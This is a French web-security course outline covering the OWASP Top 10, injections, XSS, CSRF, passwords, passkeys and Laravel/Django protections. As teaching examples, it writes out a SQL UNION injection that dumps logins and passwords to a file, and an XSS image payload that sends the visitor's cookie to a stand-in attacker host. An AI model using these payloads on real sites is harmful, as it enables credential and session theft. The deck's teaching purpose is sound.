Développement web il3

Risques applicatifs des app web

Risque

OWASP

Top 10 OWASP 2025 (fr - historique)

  1. Contrôle d’accès défaillants
  2. Mauvaise configuration de sécurité
  3. Vulnérabilités des dépendances
  4. Défaillances cryptographiques
  5. Injections
  6. Conception non sécurisée
  7. Authentification de mauvaise qualité
  8. Manque d’intégrité des données et du logiciel
  9. Carences des systèmes d’alerte et de journalisation
  10. Mauvaise gestion des condtions exceptionnelles

Injection de code

Injections SQL

Exemples

SELECT titre, num FROM livres WHERE num=2 UNION
SELECT login, password FROM user INTO DUMPFILE 'www/exploit.txt'

Eviter les injections SQL

Cross Site Scripting (XSS)

Cross Site Scripting (XSS)

<img src="http://www.urlinexistante.com/im.jpg"
     onerror="window.location='http://www.pirate.com/recupcookie.jsp?
     cookie='+document.cookie';">

3 types de XSS

Cross Site Request Forgery (CSRF - Sea Surf)

Exemple (SOP, CORS)

Phishing

Risques non liés à l’application

Authentification

Top 500 passwords cloud

top 500 passwords cloud

Mots de passe

Passkeys

Passkeys : Acteurs

Architecture

Passkeys : Enregistrement

Reg

Passkeys : Authentification

Auth

Collecte d’information

Bonnes pratiques

Laravel, Django et le top 10 OWASP

OWASP 21 Laravel Django
A01 Accès Role based AC Décorateur @login_required, django.contrib.auth
A02 Crypto Passwords : Bcrypt, EncryptCookies, Crypt make_password() , gestion SECRET_KEY
A03 Injection ORM Eloquent, protection injection SQL ORM Django, RawSQL() avec placeholders pour requêtes brutes
A04 Conception Starter Kits (Breeze, Fortify, Jetstream) Architecture secure by default, check --deploy
A05 Config APP_DEBUG = FALSE, permissions fichiers (775/664) DEBUG = False obligatoire en production, middleware de sécurité activé par défaut
A06 Dépendances Enlightn Security Checker (scan dépendances) tiers : safety, Bandit, ... pour dépendances
A07 Auth Sanctum et Passport auth. API, rate limiting Validateurs passwords, django-axes contre brute-force
A08 Integrité mass assignment protection : $fillable et $guarded ModelForm avec Meta.fields (approche liste blanche)
A09 Logs logs intégré, monitoring en temps réel Logging configurable, django-axes, …
A10 SSRF Validation stricte des URLs Validation des URLs externes, sécurité en-têtes HTTP
CSRF Protection VerifyCsrfToken, @csrf pour forms, token automatique pour AJAX via Axios CsrfViewMiddleware, {% csrf_token %} pour forms
XSS Protection Échappement automatique via {{ }} dans Blade Échappement automatique dans templates, éviter mark_safe()

(Généré par perplexity.ai)

Références

Sources